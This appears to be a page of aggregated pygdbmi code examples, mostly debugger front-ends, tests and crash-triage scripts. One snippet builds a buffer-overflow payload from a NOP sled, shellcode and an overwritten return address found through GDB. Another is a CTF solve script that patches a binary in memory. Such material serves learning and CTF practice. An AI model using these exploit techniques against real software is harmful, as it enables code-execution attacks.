        assert got_timeout_exception is True

        # Close gdb subprocess
        if not USING_WINDOWS:
            # access denied on windows
            gdbmi.send_signal_to_gdb("SIGINT")
            gdbmi.send_signal_to_gdb(2)
            gdbmi.interrupt_gdb()
        responses = gdbmi.exit()
        assert responses is None
        assert gdbmi.gdb_process is None

        # Test NoGdbProcessError exception
        got_no_process_exception = False
        try:
            responses = gdbmi.write("-file-exec-and-symbols %s" %
                                    c_hello_world_binary)
        except NoGdbProcessError:
            got_no_process_exception = True
        assert got_no_process_exception is True

        # Respawn and test signal handling
        gdbmi.spawn_new_gdb_subprocess()
        responses = gdbmi.write("-file-exec-and-symbols %s" %
                                c_hello_world_binary,
                                timeout_sec=1)
        responses = gdbmi.write(["-break-insert main", "-exec-run"])
        if not USING_WINDOWS:
            gdbmi.interrupt_gdb()
            gdbmi.send_signal_to_gdb(2)
            gdbmi.send_signal_to_gdb("sigTeRm")
            try:
                gdbmi.send_signal_to_gdb("sigterms")
                # exception must be raised
                assert False
            except ValueError:
                assert True
        responses = gdbmi.write("-exec-run")
        if not USING_WINDOWS:
            gdbmi.send_signal_to_gdb("sigstop")
コード例 #18
0
class GDBRequest:
    def __init__(self):
        self.gdbmi = None
        self.disconnected = False

    def gdbmi_write(self, cmd):
        if self.gdbmi is None:
            raise GDBException('GDB terminated')

        debug(f'GDBMI write: "{cmd}"\n')
        self.gdbmi.write(cmd, read_response=False)

    def process(self, json_cmd):
        getattr(self, json_cmd["type"])(json_cmd)

    def request(self, json_cmd):
        fname = f'{json_cmd["type"]}_{json_cmd["command"]}'
        kwds = json_cmd.get('arguments', {})

        if hasattr(self, fname):
            getattr(self, fname)(**kwds)
        else:
            getattr(self, f'{json_cmd["type"]}_default')(json_cmd['command'],
                                                         **kwds)

    def request_default(self, command, **kwds):
        pass

    def request_initialize(self, **kwds):
        pass

    def request_launch(self,
                       gdbpath=None,
                       debugger_args=None,
                       env=None,
                       cwd=None,
                       target=None,
                       **kwds):

        self.gdbmi = GdbController()

        self.gdbmi_write("-gdb-set target-async on")

        if cwd:
            self.gdbmi_write(f'-environment-cd {cwd}')

        if target:
            self.gdbmi_write(f'-file-exec-and-symbols "{target}"')

    def request_configurationDone(self):
        self.gdbmi_write('-exec-run')

    def request_setBreakpoints(self, source, breakpoints, lines, **kwds):
        self.gdbmi_write(f'-break-delete')
        for b in breakpoints:
            self.gdbmi_write(
                f'-break-insert -f "{source["path"]}:{b["line"]}"')

    def request_threads(self):
        self.gdbmi_write('-thread-info')

    def request_stackTrace(self, threadId=None):
        command = "-stack-list-frames"
        if threadId is not None:
            command += f' --thread {threadId}'

        self.gdbmi_write(command)

    def request_continue(self, reverse=False, threadId=None):
        self.gdbmi_write('-exec-continue' + (" --reverse" if reverse else ""))

    def request_stepBack(self, threadId):
        return self.request_step(reverse=True, threadId=threadId)

    def request_stepIn(self, threadId):
        return self.request_step(reverse=False, threadId=threadId)

    def request_next(self, threadId=None, reverse=False):
        self.gdbmi_write('-exec-next' + (" --reverse" if reverse else ""))

    def request_step(self, threadId=None, reverse=False):
        self.gdbmi_write('-exec-step' + (" --reverse" if reverse else ""))

    def request_stepOut(self, threadId=None, reverse=False):
        self.gdbmi_write('-exec-finish' + (" --reverse" if reverse else ""))

    def request_evaluate(self,
                         expression,
                         frameId=None,
                         context=None,
                         format=None):
        if frameId is not None:
            self.gdbmi_write(f'-data-evaluate-expression "{expression}"')
        else:
            threadId, level = frameIdToThreadAndLevel(frameId)
            self.gdbmi_write(
                f'-data-evaluate-expression {expression} --thread {threadId} --level {level}'
            )

    # def request_completions(self, text, column, frameId=None, line=None):
    #     self.gdbmi_write(f'-complete {text[:column]}')

    def request_disconnect(self, restart=False):
        self.gdbmi_write('-gdb-exit')
        self.disconnected = True
        # self.close()

    def close(self):
        if self.gdbmi:
            self.gdbmi.exit()
            self.gdbmi = None
コード例 #19
0
class GdbHelper:

    _WRITE_METHODS = {1: "write_byte", 4: "write_dword", 8: "write_qword"}

    _GDB_PY_PATTERN = re.compile(r"--with-python")
    _SNAPSHOT_NAME = "aeroot"

    def __init__(self, device: ppadb.client.Client, arch="x86", timeout=180):
        self.device = device
        self.arch = arch
        self.timeout = timeout
        self.gdb = None

    def __init_gdb(self):
        if self.gdb is not None:
            return

        self.gdb = GdbController(
            time_to_check_for_additional_output_sec=self.timeout)

        if self.arch == "x86_64":
            self.gdb.write("set arch i386:x86-64:intel")

    def exit(self):
        if self.gdb is not None:
            try:
                self.gdb.exit()
            except GdbTimeoutError:
                raise GdbError("Can't connect to gdb server")
            finally:
                self.gdb = None

    def start(self):
        self.__init_gdb()

        try:
            self.gdb.write(f"target remote {self.device.client.host}:1234")
        except GdbTimeoutError:
            raise GdbError("Can't connect to gdb server")

    def stop(self):
        self.gdb.write("detach")

    def write(self, address: int, value: int, size: int = 1):
        getattr(self, GdbHelper._WRITE_METHODS.get(size,
                                                   "write_byte"))(address,
                                                                  value)

    def write_byte(self, address: int, value: int):
        self.gdb.write("set *(unsigned char*) (%#x) = %#x" % (address, value))

    def write_dword(self, address: int, value: int):
        self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (address, value))

    def write_qword(self, address: int, value: int):
        self.gdb.write("set *(unsigned long*) (%#x) = %#x" % (address, value))

    def read_dword(self, address: int) -> int:
        return GdbResponse(self.gdb.write("x/wx %#x" % address)).to_int()

    def read_addr(self, address: int) -> int:
        return GdbResponse(self.gdb.write("x/a %#x" % address)).to_int()

    def read_str(self, address: int) -> str:
        return GdbResponse(self.gdb.write("x/s %#x" % address)).to_str()

    def read_ip(self) -> int:
        return GdbResponse(self.gdb.write("p/x $pc")).to_int()

    def find(self, query: str) -> List[int]:
        addresses = []
        response = self.gdb.write("find %s" % query, timeout_sec=180)

        for subset in response:
            payload = subset.get("payload")

            if payload is not None and payload.startswith("0x"):
                addresses.append(int(payload.replace("\\n", ""), 16))

        return addresses

    def execute(self, cmd: str) -> filter:
        result = filter(
            lambda x: x.get("type") == "console" and x.get("payload").
            startswith("#"), self.gdb.write(cmd))

        return list(result)

    def execute_and_retry(self, cmd, retry_cnt=5, delay=5, msg="Retry"):
        for i in range(1, retry_cnt + 1):
            if i > 1:
                self.stop()
                sleep(delay)
                self.start()

            result = self.execute(cmd)

            if len(result) > 0:
                return result

            info(f"{msg} (try: {i}/{retry_cnt})...")

        return result

    def has_python(self) -> bool:
        try:
            response = self.gdb.write("show configuration")
        except GdbTimeoutError:
            raise GdbError("Can't connect to gdb server")

        return any(
            map(lambda x: GdbHelper._GDB_PY_PATTERN.search(x) is not None,
                (r.get("payload", "")
                 for r in response if r.get("type") == "console")))

    def update(self):
        self.stop()

        try:
            console = Console(self.device.client.host,
                              int(self.device.serial.split("-")[1]))

            debug("Connecting emulator's console")
            console.connect()
            debug("Saving snapshot")
            console.send_cmd(f"avd snapshot save {GdbHelper._SNAPSHOT_NAME}")
            debug("Loading snapshot")
            console.send_cmd(f"avd snapshot load {GdbHelper._SNAPSHOT_NAME}")
            console.send_cmd(f"avd snapshot delete {GdbHelper._SNAPSHOT_NAME}")
            console.disconnect()
        except ConsoleError as err:
            raise GdbError(err)
        except ValueError:
            raise GdbError("Can't get emulator console port")
        except IndexError:
            raise GdbError("Can't get emulator console port")
        finally:
            self.start()
コード例 #20
0
def process_crashlist_log_tc(tc_no, target_report, cdcsv, io_dir, target_name, bin_file, line):
    """Retrieve information from an application's core dump file programatically

    For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html
    """

    if target_name in ['libcoap-server', 'libnyoci-plugtest', 'riot-native-nanocoap-server',
        'riot-native-gcoap-server', 'contiki-native-erbium-plugtest', 'mongoose-server', 'coapp-server']:
        # Initialize object that manages gdb subprocess
        gdbmi = GdbController()

        # Send gdb commands. Gdb machine interface commands are easier to script around,
        # hence the name "machine interface".
        # Responses are returned after writing, by default.

        # Load the executable file
        try:
            responses = gdbmi.write('-file-exec-and-symbols %s' % bin_file, timeout_sec=5)
        except:
            print "Could not load executable for tc %s" % tc_no
            return -1
        # Get list of source files used to compile the binary
        #responses = gdbmi.write('-file-list-exec-source-files')
        if not os.path.isfile('%s/TC_%s.dump' % (io_dir, tc_no)):
            print "TC %s has no core file" % tc_no
            return -1
        # Read core file
        while True:
            try:
                responses = gdbmi.write('core %s/TC_%s.dump' % (io_dir, tc_no), timeout_sec=5)
            except GdbTimeoutError:
                print "retrying due to timeout when opening core file for tc %s" % tc_no
                continue
            break
        # Get information from the selected (default=inner-most (0)) stack frame
        # TODO: For some reason, responses seems to have a delay or something like that
        while not (len(responses) == 1 and responses[0]['type'] == 'result' and responses[0]['payload'] is not None and 'stack' in responses[0]['payload']):
            try:
                responses = gdbmi.write('-stack-list-frames', timeout_sec=5)
            except GdbTimeoutError:
                print "retrying due to timeout when listing the stack frames for tc %s" % tc_no
                continue
        # List variable's names, types and values from the selected stack frame
        #responses = gdbmi.write('-stack-list-variables 2')

        # Well, gdbmi is just buggy afterall
        gdbmi.exit()
        gdbmi.exit()
        gdbmi.exit()
        # gdbmi.gdb_process is None now because the gdb subprocess (and its inferior
        # program) have been terminated

        # Upwards on the stacktrace (from deepest to shallowest), try to get
        # the deepest trace belonging to a coap-related file which has a function name
        my_key = None
        stack_list = responses[0]['payload']['stack']
        for frame in stack_list:
            file_name = frame.get('fullname', '')
            function_name = frame.get('func', '??')
            line_no = frame.get('line', '')
            if 'coap' in frame.get('fullname', '') and frame.get('func', '??') != '??':
                my_key = file_name+'|'+line_no+'|'+function_name
                break

        if not my_key:
            print "Problem processing TC %s" % tc_no
            return -1

        try:
            target_report[my_key].append(tc_no)
        except KeyError:
            target_report[my_key] = []
            target_report[my_key].append(tc_no)

        cdcsv.write( "%s\t%s\t%s\t%s\t\n" % (tc_no, my_key, line.strip(), '') )
コード例 #21
0
ファイル: gdb.py プロジェクト: alexeRadu/dotfiles
class Gdb(object):
    def __init__(self, vim):
        self.vim  = vim
        self.ctrl = None
        self.thread = None
        self.running = False
        self.pc = None
        self.next_watch_no = 1

        # --- watches
        self.watches = {}
        self.watch_buf = self.vim.api.create_buf(True, False)
        self.watch_buf.name = "dbug-watch-expressions"
        self.watch_buf.api.set_option("bt", "nofile")
        #self.watch_buf.api.set_option("readonly", True)
        self.vim.api.buf_set_keymap(self.watch_buf, 'n', 'd', ':DbgWatchDelete<cr>', {'nowait': True})

        self.bt = Backtrace(vim)
        self.bpl = BreakpointList(vim)

    def start(self):
        if self.running:
            self.stop()

        gdb_path = self.vim.vars.get('dbug_gdb_path')
        if not gdb_path or not os.path.isfile(gdb_path):
            self.vim.command("echom \"Dbg: Using the default gdb installation\"")

            # TODO: check if gdb is installed: `which gdb` on Linux (and try on
            # windows as well)
            gdb_path = "gdb"

        self.ctrl = GdbController([gdb_path, "--interpreter=mi3"])

        # Start the thread that listens for responses
        self.thread = threading.Thread(target=self.parse_response)
        self.running = True
        self.thread.start()

        self.ctrl.write("-enable-pretty-printing", read_response=False)

        info("Started GDB debugger %s" % (gdb_path))

    def stop(self):
        # clear the PC sign (if any)
        if self.pc:
            self.vim.command("sign unplace %d" % self.pc["number"])
            self.pc = None

        self.bpl.purge()

        # Stop the listening thread
        self.running = False
        self.thread.join()

        # Gracefully disconnect and exit
        self.target_disconnect()
        self.ctrl.exit()
        self.ctrl = None

        info("GDB debugger has stopped")

    def target_connect_remote(self, remote):
        info("Connecting remotely to %s" % remote)
        self.ctrl.write("-target-select remote %s" % remote, read_response=False)

    def target_disconnect(self):
        info("Disconnecting from target")
        self.ctrl.write("-target-disconnect", read_response=False)

    def load_exec_and_symbol_file(self, fname):
        if not os.path.isfile(fname):
            error("File '%s' doesn't exist" % (fname))

        info("Using '%s' as both executable and symbols file" % fname)
        self.ctrl.write("-file-exec-and-symbols %s" % (fname), read_response=False)

    def download(self):
        self.ctrl.write("-target-download", read_response=False)

    def run(self):
        self.ctrl.write("-exec-run", read_response=False)

    def cont(self):
        self.ctrl.write("-exec-continue", read_response=False)

    def step(self):
        self.ctrl.write("-exec-step", read_response=False)

    def next(self):
        self.ctrl.write("-exec-next", read_response=False)

    ### BREAKPOINTS {{{1
    def bp_toggle(self, fname, line):
        bp = Breakpoint(fname, line)

        if bp in self.bpl:
            bp = self.bpl.remove(bp)
            self.ctrl.write(f"-break-delete {bp.number}", read_response=False)
        else:
            self.ctrl.write(f"-break-insert {str(bp)}", read_response=False)

    def bp_list(self):
        self.ctrl.write("-break-list", read_response=False)

    ### PROGRAM-COUNTER (PC) {{{1
    def _update_pc(self, pc):
        old_pc = None
        if self.pc:
            old_pc = self.pc
            pc["number"] = (old_pc["number"] % 2) + 1
        else:
            pc["number"] = 1

        self.pc = pc

        buf_is_open = False
        for buf in self.vim.api.list_bufs():
            if buf.name == pc['file']:
                self.vim.api.win_set_buf(0, buf)
                self.vim.api.win_set_cursor(0, (pc['line'], 0))
                buf_is_open = True
                break

        if not buf_is_open:
            self.vim.command("e %s" % pc['file'])
            self.vim.api.win_set_cursor(0, (pc['line'], 0))

        #for no, bp in self.breakpoints.items():
        #    if bp["line"] == pc["line"] and bp["file"] == pc["file"]:
        #        self.vim.command("sign unplace %d" % (no + 2))
        #        break

        self.vim.command("sign place %d line=%d name=dbg_pc file=%s" % (pc['number'], pc['line'], pc['file']))
        self.vim.command("normal! zz")
        debug("Update PC at '%s:%d'" % (pc["file"], pc["line"]))

        # Update the old_pc here because first removing the sing and then placing
        # when in the same file can cause flicker since the gutter is resized
        if old_pc:
            self.vim.command("sign unplace %s" % old_pc['number'])
            #for no, bp in self.breakpoints.items():
            #    if bp["line"] == old_pc["line"] and bp["file"] == old_pc["file"]:
            #        self.vim.command("sign place %d line=%d name=dbg_bp file=%s" % (no + 2, bp['line'], bp['file']))
            #        break


    ### STACK {{{1
    ### Commands {{{2
    def stack_info(self):
        self.ctrl.write("-stack-info-frame", read_response=False)

    def stack_list(self):
        self.ctrl.write("-stack-list-frames", read_response=False)

    ### WATCHES {{{1
    ### Commands {{{2
    def expr_watch(self, expr):
        expr_no = self.next_watch_no
        self.next_watch_no = self.next_watch_no + 1

        expr_name = "var%d" % (expr_no)

        self.watches[expr_no] = {"name": expr_name, "expr": expr}

        self.ctrl.write("-var-create %s @ %s" % (expr_name, expr), read_response=False)

    def expr_update(self):
        self.ctrl.write("-var-update *", read_response=False)

    def watch_del(self, line):
        watch = None
        for n, w in self.watches.items():
            if line == w["line"]:
                watch = w
                del self.watches[n]
                break

        if watch:
            # update line numbers for each watch
            for n, w in self.watches.items():
                if w['line'] > watch['line']:
                    self.watches[n]['line'] = w['line'] - 1

            self._watch_refresh()
            debug("Watch '{:s}' deleted".format(watch["expr"]))
    ### Utilities {{{2
    def _pr_watch(self, watch):
        line = watch['line']
        text = "{:<30s} {:<30s}[{:s}]".format(watch['expr'], watch['value'], watch['type'])
        self.vim.api.buf_set_lines(self.watch_buf, line, line, True, [text])

    def _watch_refresh(self):
        self.vim.api.buf_set_lines(self.watch_buf, 0, -1, False, [])
        for n, w in self.watches.items():
            self._pr_watch(w)

    ### Handles {{{2
    def _update_watches(self, n):
        watch = self.watches[n]

        if 'line' not in watch:
            last_line = 0
            for n, w in self.watches.items():
                if 'line' in w and w['line'] >= last_line:
                    last_line = w['line'] + 1
            self.watches[n]['line'] = last_line
            watch = self.watches[n]

        self._pr_watch(watch)
        info("Updated watch '%s' on line %d" % (watch['expr'], watch['line']))

    def _watch_update(self, var):
        response = self.ctrl.write("-var-evaluate-expression %s" % (var), read_response=True)
        for r in response:
            for k, v in r.items():
                if k in ['payload']:
                    n = int(var.split("var")[1])
                    self.watches[n]["value"] = v['value']
                    self.vim.async_call(self._watch_refresh)

                    debug("Watch's %s value changed to %s" % (var, v['value']))

    ### PRINT FUNCTIONS {{{1
    ### Used for logging messages from GDB; they exist because the string has
    ### to be modified (escaped) before printed to the screen

    def _info(self, hdr, msg):
        if msg:
            for m in msg.split('\\n'):
                m = m.replace('\\"', '"')
                info("%s: %s" % (hdr, m))

    def _debug(self, hdr, msg):
        if msg:
            for m in msg.split('\\n'):
                m = m.replace('\\"', '"')
                debug("%s: %s" % (hdr, m))

    ### PARSING THE RESPONSE {{{1
    ### This function if run by a thread, waits in a loop for messages from GDB
    ### and then calls the corresponding handling functions

    def parse_response(self):
        debug("Started response parser thread")

        while self.running:
            response = self.ctrl.get_gdb_response(timeout_sec=1, raise_error_on_timeout=False)

            # The response is a list of dictionaries with each entry in the list
            # of the form:
            # {'type': '', 'message': '', 'payload': ''}
            #
            # where:
            # type    := 'console' | 'log' | 'output' | 'result' | 'notify'
            # message := None | 'Some message'
            # payload := None | 'Some message' | a dictionary/list carrying more information
            #
            # the other fields are ignored

            for r in response:
                # debug(r)

                # The information that is printed on the screen can be found in the
                # 'message' field (if not None) and in the 'payload' field if it is
                # of string type; additionally it can be found int r['payload']['msg']
                # if 'payload' is a dictionary
                self._info(f"gdb-{r['type']}[m]", r['message'] if r['message'] else None)
                self._info(f"gdb-{r['type']}[p]", r['payload'] if type(r['payload']) == type('') else None)
                self._info(f"gdb-{r['type']}", r['payload']['msg'] if type(r['payload']) == type({}) and 'msg' in r['payload'] else None)

                if r['type'] in ['notify', 'result'] and type(r['payload']) == type({}):
                    # When the 'payload' field is a dictionary is as a response to a command
                    # and carries additional information that is used
                    # The contents of the 'payload' is dependent on the command sent and

                    for k, v in r['payload'].items():
                        # ---> Breakpoints
                        if k in ['bkpt']:
                            bp =  Breakpoint(v['fullname'], int(v['line']), int(v['number']))
                            self.vim.async_call(self.bpl.add, bp)

                        elif k in ['BreakpointTable']:
                            debug('---BreakpointTable')
                            for b in v["body"]:
                                bp =  Breakpoint(b['fullname'], int(b['line']), int(b['number']))

                                if bp not in self.bpl:
                                    self.vim.async_call(self.bpl.add, bp)

                        # ---> Program Counter (PC)
                        elif k in ['frame'] and 'line' in v and 'fullname' in v:
                            pc = {'line': int(v['line']), 'file': v['fullname']}
                            self.vim.async_call(self._update_pc, pc)

                            # Update any watch that may be used
                            self.ctrl.write("-var-update *", read_response=False)

                        # ---> Watches
                        elif k in ['name'] and 'var' in r['payload']['name']:
                            n = int(r['payload']['name'].split('var')[1])

                            self.watches[n]['value'] = r['payload']['value']
                            self.watches[n]['type']  = r['payload']['type']

                            self.vim.async_call(self._update_watches, n)

                        elif k in ['changelist']:
                            for w in v:
                                self._watch_update(w['name'])

                        # ---> Backtrace
                        elif k in ['stack']:
                            self.vim.async_call(self.bt.update, v)

        debug("Response parser thread stopped")
コード例 #22
0
class Debugger:
    def __init__(self, arch='riscv:rv32'):
        # logging.basicConfig(level=logging.DEBUG)
        self.gdbmi = None
        try:
            command = ['gdb-multiarch', '--interpreter=mi3', '--quiet']
            self.gdbmi = GdbController(command)
        except ValueError as msg:
            logging.critical(msg)

        if self.gdbmi is not None:
            self.gdbmi.write('set confirm off')
            self.gdbmi.write('set architecture ' + arch)

    def __del__(self):
        self.close()

    def connect(self):
        if self.gdbmi is not None:
            self.gdbmi.write('target remote :1234')

    def suspend(self):
        # self.gdbmi.send_signal_to_gdb('SIGINT')
        os.kill(self.gdbmi.gdb_process.pid, 2)
        self.gdbmi.get_gdb_response()

    def run(self):
        response = self.gdbmi.write('c')
        return response

    def step(self):
        response = self.gdbmi.write('s')
        for res in response:
            if res['type'] == 'result':
                if res['message'] == 'running':
                    self.suspend()

        status = self.getStatus()
        return status

    def breakpoint(self, number):
        gdb_cmd = f'b {number}'
        response = self.gdbmi.write(gdb_cmd)

        return response

    def loadCode(self, filename):
        gdb_cmd = f'add-symbol-file {filename}'
        response = self.gdbmi.write(gdb_cmd)
        gdb_cmd = f'load {filename}'
        response = self.gdbmi.write(gdb_cmd)
        return response

    def readMemory(self, dir, size):
        gdb_cmd = f'x/{size} {dir}'
        response = self.gdbmi.write(gdb_cmd)

        for res in response:
            if res['type'] == 'result':
                msg = res['message']
                if res['payload'] is not None:
                    payload = res['payload']['msg'].encode()
                else:
                    payload = None

        return msg, payload

    def getStatus(self):
        response = self.gdbmi.write('frame')
        line = 0
        for res in response:
            if res['type'] == 'console':
                if ':' in res['payload']:
                    line = res['payload'].split(':')[1]
                    line = line.split('\\')[0]
                    line = int(line)

        response = self.gdbmi.write('info registers')
        regs = []
        for res in response:
            if res['type'] == 'console':
                reg = res['payload'].split()[1]
                reg = reg.split('\\')[0]
                regs.append(int(reg, 16))

        status = regs
        status.append(line)

        return status

    def close(self):
        if self.gdbmi is not None:
            self.gdbmi.exit()
コード例 #23
0
# run GDB and get jump target
# note: pwntools also a GDB wrapper, but gdbmi seemed easier to work with in my opinion
# pwntools gdb: https://docs.pwntools.com/en/stable/gdb.html
# gdbmi: https://pypi.org/project/pygdbmi/
gdbmi = GdbController(verbose=False)
response = gdbmi.write("file " + program)
response = gdbmi.write("unset env LINES")
response = gdbmi.write("unset env COLUMNS")
response = gdbmi.write("break *main+47")
response = gdbmi.write("run " + exploit_template)
response = gdbmi.write("print (void*) &buf + (" + str(len(nop_sled)) + "/2)")
# jump target is the 6th response (not counting starting gdb)
# the output of gdb is stored in the payload field
# then we must parse the substring to remove the "$1 = (void *) "
jump_target = response[6]["payload"][len("$1 = (void *) "):]
response = gdbmi.exit()

print("Debugger Jump Target (center of NOP Sled): " + jump_target)

# use an 8-byte filler of "AAAAAAAA" to overwrite the base pointer
rbp = b"A" * 8

# overwrite RIP with the jump target address found in GDB
# jump target is aimed at the center of the NOP sled
# this also converts the jump target to little endian form
# note: p64 is going to output zero bytes for the two most
# significant bytes, but strcpy will stop copying at the first
# zero byte anyway so this does not matter
rip = p64(int(jump_target, 16))

exploit = nop_sled + shellcode + rbp + rip
コード例 #24
0
ファイル: simulation.py プロジェクト: zhihuishuwp/emma
class ProgramSimulation:
    def __init__(self, binary, prog_args, method_name, registers, args):
        self.gdbmi = None
        self.binary = binary
        self.prog_args = prog_args
        self.done = None
        self.signal = None
        self.prev_register_values = None
        self.method_name = method_name
        self.args = args
        self.registers = registers

    def init(self):
        self.gdbmi = GdbController()
        self.gdbmi.write('-exec-arguments %s %s' % self.prog_args,
                         read_response=False)
        self.gdbmi.write('-file-exec-and-symbols %s' % self.binary,
                         read_response=False)
        self.gdbmi.write('-break-insert %s' % self.method_name,
                         read_response=False)
        self.gdbmi.write('-exec-run', read_response=False)
        self.gdbmi.write('-data-list-register-names', read_response=False)

    def run(self):
        self.init()

        self.prev_register_values = {}
        self.signal = []
        self.done = False
        step_count = 0
        check_interval = 100
        register_value_interval = self.args.register_check_interval

        while not self.done:
            # print("\rStep: %d                     " % step_count, end='')

            # Parse reponses from issues commands
            if step_count % check_interval == 0:
                self.parse_responses(
                    register_values_cb=self.update_power_consumption)

            # Send command to get register values
            if step_count % register_value_interval == 0:
                self.get_register_values(self.registers)

            # Send command to get next step
            self.program_step()
            step_count += 1

        self.gdbmi.exit()
        return np.array(self.signal)

    def run_find_varying_registers(self, nruns=3):
        self.register_value_sum = defaultdict(lambda: [])

        # Sum each register value during steps. Repeat nruns times.
        for n in range(0, nruns):
            print("Run %d..." % n)
            self.init()
            self.done = False
            self.register_value_history = defaultdict(lambda: [])
            while not self.done:
                self.get_register_values(self.registers)
                self.parse_responses(
                    register_values_cb=self.compare_register_values)
                self.program_step()
            del self.gdbmi

            for key, values in self.register_value_history.items():
                self.register_value_sum[key].append(
                    sum([int(x) for x in values]))

        # Check if there were runs with a different outcome
        normal_keys = []
        for key, values in self.register_value_sum.items():
            if len(set(values)) > 1:
                print("Found weird key %s: %s" % (key, str(values)))
            else:
                normal_keys.append(key)

        return normal_keys

    def compare_register_values(self, register_values):
        for key, value in register_values.items():
            self.register_value_history[key].append(value)

    def update_power_consumption(self, current_register_values):
        power_consumption = get_registers_power_consumption(
            self.prev_register_values, current_register_values)
        self.prev_register_values = current_register_values
        # print("Power consumption: %d" % power_consumption)
        self.signal.append(power_consumption)

    def parse_responses(self, register_values_cb=None):
        try:
            responses = self.gdbmi.get_gdb_response(timeout_sec=2)
        except GdbTimeoutError:
            print("ERROR: Got timeout from GDB. Exiting prematurely.")
            self.done = True
            return

        for response in responses:
            #print(response)

            # Check for register values
            payload = response['payload']
            if payload is not None:
                if 'register-values' in payload:
                    register_tuples = payload['register-values']
                    register_values = _parse_register_tuples(register_tuples)
                    register_values_cb(register_values)

            # Check for end packet
            if 'type' in response and response['type'] == 'notify':
                if response['message'] == 'thread-exited':
                    self.done = True

    def program_step(self):
        """
        Step program
        :return:
        """
        if self.args.granularity == 'instruction':
            self.gdbmi.write('-exec-step-instruction',
                             read_response=False,
                             timeout_sec=0)
        elif self.args.granularity == 'step':
            self.gdbmi.write('-exec-step', read_response=False, timeout_sec=0)
        elif self.args.granularity == 'next':
            self.gdbmi.write('-exec-next', read_response=False, timeout_sec=0)

    def get_register_values(self, target_registers=None):
        # Filter?
        if target_registers is not None:
            register_list = ' '.join(target_registers)
        else:
            register_list = ''

        self.gdbmi.write('-data-list-register-values r %s' % register_list,
                         read_response=False,
                         timeout_sec=0)

    def get_changed_registers(self):
        """
        DEPRECATED
        Get list of changed registers. Not used anymore because just batching requests for all register values
        is faster than checking which ones changed, waiting, and then querying for them.
        :return:
        """
        self.gdbmi.write('-data-list-changed-registers', read_response=False)
コード例 #25
0
ファイル: solve.py プロジェクト: resonancellc/CTF-Writeups
print("Our quick sort function is located at: %s" % hex(quicksort_addy))

#
# Hook the binary sort function
# 48 b8 35 08 40 00 00 00 00 00   mov rax, 0x0000000000400835
# ff e0                           jmp rax
#

print("Let's do some magic things")

gdbmi.write('b *%s' % hex(sortarr_addy))
gdbmi.write('run')
gdbmi.write('set *(short*)%d = 0xb848' % sortarr_addy)  # mov rax
gdbmi.write('set *(long long*)%d = %d' %
            (sortarr_addy + 2, quicksort_addy))  # our new sort
gdbmi.write('set *(short*)%d = 0xe0ff' % (sortarr_addy + 10))  # jmp rax
gdbmi.write('continue')

#
# Just get your awesome flag
#    => ECSC{5d12758be6f2a971153c5599339f77b0}
#

res = gdbmi.get_gdb_response(timeout_sec=15)
flag = [x for x in res if x['type'] == 'output'][0]['payload']

print("\nHere is your flag: %s" % flag)

# Close everything
gdbmi.exit()
コード例 #26
0
ファイル: async-gdb-dap.py プロジェクト: bogdanvuk/gdb-dap
class Session:
    def __init__(self):
        self.seq = 0
        self.request_seq = 0
        self.gdbmi = None

    @property
    def next_seq(self):
        self.seq += 1
        return self.seq

    async def gdb_write(self, cmd):
        return await loop.run_in_executor(None, self.gdbmi.write, cmd)

    async def event(self, type_):
        js = {'event': type_, 'type': 'event', 'seq': self.next_seq}
        print(json.dumps(js))

    async def process(self, json_cmd):

        resp = {}
        resp = await getattr(self, json_cmd["type"])(resp, json_cmd)

        resp['seq'] = self.next_seq

        return resp

    async def request(self, resp, json_cmd):
        self.request_seq += 1

        fname = f'{json_cmd["type"]}_{json_cmd["command"]}'
        kwds = json_cmd.get('arguments', {})

        resp.update({
            'success': True,
            'command': json_cmd['command'],
            'request_seq': self.request_seq,
            'type': 'response'
        })

        if getattr(self, fname):
            resp = await getattr(self, fname)(resp, **kwds)
        else:
            resp = await getattr(self, f'{json_cmd["type"]}_default')(resp,
                                                                      **kwds)

        return resp

    async def request_default(self, resp, command, **kwds):
        return {'body': {}, 'dflt': True}

    async def request_initialize(self, resp, **kwds):
        resp['body'] = {
            'supportsGotoTargetsRequest': True,
            'supportsHitConditionalBreakpoints': True,
            'supportsConfigurationDoneRequest': True,
            'supportsConditionalBreakpoints': True,
            'supportsFunctionBreakpoints': True,
            'supportsEvaluateForHovers': True,
            'supportsSetVariable': True,
            'supportsStepBack': True,
        }

        return resp

    async def request_launch(self,
                             gdbpath=None,
                             debugger_args=None,
                             env=None,
                             cwd=None,
                             target=None,
                             **kwds):
        self.gdbmi = GdbController()
        await self.event('initialized')

        if cwd:
            await self.gdb_write(f'-environment-cd {cwd}')

        if target:
            await self.gdb_write(f'-file-exec-and-symbols {target}')

    def close(self):
        print('Close')
        if self.gdbmi:
            self.gdbmi.exit()
コード例 #27
0
ファイル: gdb.py プロジェクト: espressif/esp-debug-adapter
class Gdb(object):
    """
        Class to communicate to GDB
    """
    chip_name = ''

    def __init__(self, gdb_path='gdb',
                 remote_target=None,
                 extended_remote_mode=False,
                 gdb_log_file=None,
                 log_level=None,
                 log_stream_handler=None,
                 log_file_handler=None):
        """
            Constructor.

            Parameters
            ----------
            gdb_path : string
                path to GDB executable.
            remote_target : string
                remote target address, for possible values see
                https://www.sourceware.org/gdb/onlinedocs/gdb/Connecting.html.
                Use ""  or None value to skip the connection stage.
            extended_remote_mode : bool
                If True extended remote mode should be used.
            gdb_log_file : string
                path to GDB log file.
            log_level : int
                logging level for this object. See logging.CRITICAL etc
            log_stream_handler : logging.Handler
                Logging stream handler for this object.
            log_file_handler : logging.Handler
                Logging file handler for this object.
        """
        self.tmo_scale_factor = 1
        self._remote_target = remote_target
        self._extended_remote_mode = extended_remote_mode
        self._logger = log.logger_init("Gdb", log_level, log_stream_handler, log_file_handler)
        self._gdbmi = GdbController(gdb_path=gdb_path)
        self._gdbmi_lock = threading.Lock()
        self._resp_cache = []
        self._target_state = TARGET_STATE_UNKNOWN
        self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN
        self.stream_handlers = {'console': [], 'target': [], 'log': []}
        self._curr_frame = None
        self._curr_wp_val = None
        # gdb config
        self.prog_startup_cmdfile = None
        self.gdb_set("mi-async", "on")
        if gdb_log_file is not None:
            pardirs = os.path.dirname(gdb_log_file)
            if pardirs:
                os.makedirs(pardirs, exist_ok=True)  # create non-existing folders
            self.gdb_set("logging", "file %s" % gdb_log_file)
            self.gdb_set("logging", "on")

    def _on_notify(self, rec):
        if rec['message'] == 'stopped':
            self._target_state = TARGET_STATE_STOPPED
            self._curr_frame = rec['payload']['frame']
